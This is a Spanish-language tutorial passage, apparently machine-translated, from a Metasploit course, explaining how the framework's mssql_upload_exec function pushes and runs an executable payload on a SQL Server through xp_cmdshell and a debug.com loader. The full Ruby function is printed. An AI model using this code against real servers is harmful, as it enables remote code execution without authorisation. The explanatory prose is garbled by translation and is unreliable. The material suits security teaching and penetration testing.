The Guts Behind It

De www.metasploit-es.com.ar

Veamos en el framework3/lib/msf/core/exploits / y usar su editor favorito y edite el archivo mssql.rb. Haga una búsqueda para "mssql_upload_exec" (control de nano-w y / a vi). Usted debe estar viendo lo siguiente:

#
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]

var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
print_status("Writing the debug.com loader to the disk...")
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
mssql_xpcmdshell("#{line}", false)
end

print_status("Converting the debug script to an executable...")
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

print_status("Uploading the payload, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end

print_status("Converting the encoded payload...")
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
end

La definición mssql_upload_exec (exe, debug = false) requiere dos parámetros y se establece la depuración en false de forma predeterminada a menos que se especifique lo contrario.

El hexagonal exe.unpack = ("* H") [0] es un Ruby Kung-Fuey que lleva a nuestros ejecutable generado y mágicamente se convierte en hexadecimal para nosotros.

var_bypass = rand_text_alpha (8) y var_payload = rand_text_alpha (8) se crean dos variables con un conjunto aleatorio de caracteres de 8 alfa, por ejemplo: PoLecJeX

El print_status siempre debe ser utilizado dentro de Metasploit, HD no aceptará pone más! Si usted nota que hay un par de cosas diferentes para mí vs python, en el print_status te darás cuenta de "# () var_payload. Exe este subsititues var_payload la variable en el mensaje print_status, por lo que en esencia se ve retratado de nuevo" PoLecJeX.exe "

Cambiando de tema,] HEX2BINARY la H2B [= File.read almacén de datos (, File.size [HEX2BINARY almacén de datos ['])) leerá cualquiera que sea el archivo especificado en el HEX2BINARY "almacén de datos, si nos fijamos en cuando disparó el exploit, lo que decía era "H2B", este archivo se encuentra en data/exploits/mssql/h2b, este es un archivo que yo había creado con anterioridad de que es un formato específico para las ventanas de depuración que es esencialmente un bypass simple para eliminar las restricciones a límite de tamaño del archivo. En primer lugar, enviar el ejecutable, de depuración de Windows, se convierte de nuevo en un binario para nosotros, y entonces enviamos la carga útil metasploit y llame a nuestro ejecutable antes de convertir para convertir nuestro archivo de Metasploit.

El h2b.gsuc! (/ KemneE3N / "% TEMP% \ \ # () var_bypass") es simplemente un nombre codificado substituing con la dinámica que hemos creado anteriormente, si nos fijamos en el archivo H2B, KemneE3N se llama en múltiples ocasiones y queremos crear un nombre al azar para confundir las cosas un poco mejor. El gsub sólo sustituye a la codificada con el azar uno. El h2b.split (/ \ n /). Hacer cada uno | | línea se iniciará un bucle para nosotros y dividir el archivo H2B voluminosos en varias líneas, la razón de ser es que no podemos enviar el grueso expediente completo a la vez, hemos para enviar un poco a la vez como el protocolo de MSSQL no nos permite transferencias muy grandes a través de sentencias SQL. Por último, el mssql_xpcmdshell ("# (línea)", false) envía la línea de carga de servidor de ensayo inicial de la línea, mientras que lo falso como falso especifica de depuración y para no enviar la información de nuevo a nosotros.

Los pasos próximos convertir nuestro archivo a H2B un binario para nosotros utilizando Windows de depuración, estamos utilizando el directorio% TEMP% para más fiabilidad. El procedimiento de mssql_xpcmdshell strored está permitiendo que esto ocurra.

La idx = 0 servidor como un contador para nosotros para hacernos saber cuando el tamaño del archivo se ha alcanzado, y la cnt = 500 especifica el número de caracteres que estamos enviando a la vez. La siguiente línea envía nuestra carga útil con un nuevo archivo de 500 caracteres a la vez, el aumento de la idx mostrador y garantizar que idx sigue siendo menor que la burbuja hex.length. Una vez que se ha terminado de los últimos pasos convertir nuestra carga metasploit de nuevo a un ejecutable con nuestra carga previamente realizaron a continuación, lo ejecuta nos da nuestra capacidad de carga!

Eso es todo! Ufff. En esta lección usted caminó a través de la creación de un vector de ataque general y tiene más familiarizados con lo que sucede detrás de las cortinas. Si su forma de pensar acerca de cómo crear un módulo nuevo, mire a su alrededor por lo general hay algo que se puede utilizar como punto de partida para ayudar a crearlo.

Espero que no te suelto en esto. Antes de terminar este capítulo eche un vistazo en lib / MSF / base de explotar / y editar el mssql_commands.rb, aquí podrás ver una lista detallada de los comandos que me MSSQL y Dark operador han estado construyendo por un tiempo ahora. Adicionalmente puede empezar a crear sus propios módulos fuera de este si quieres!


Herramientas personales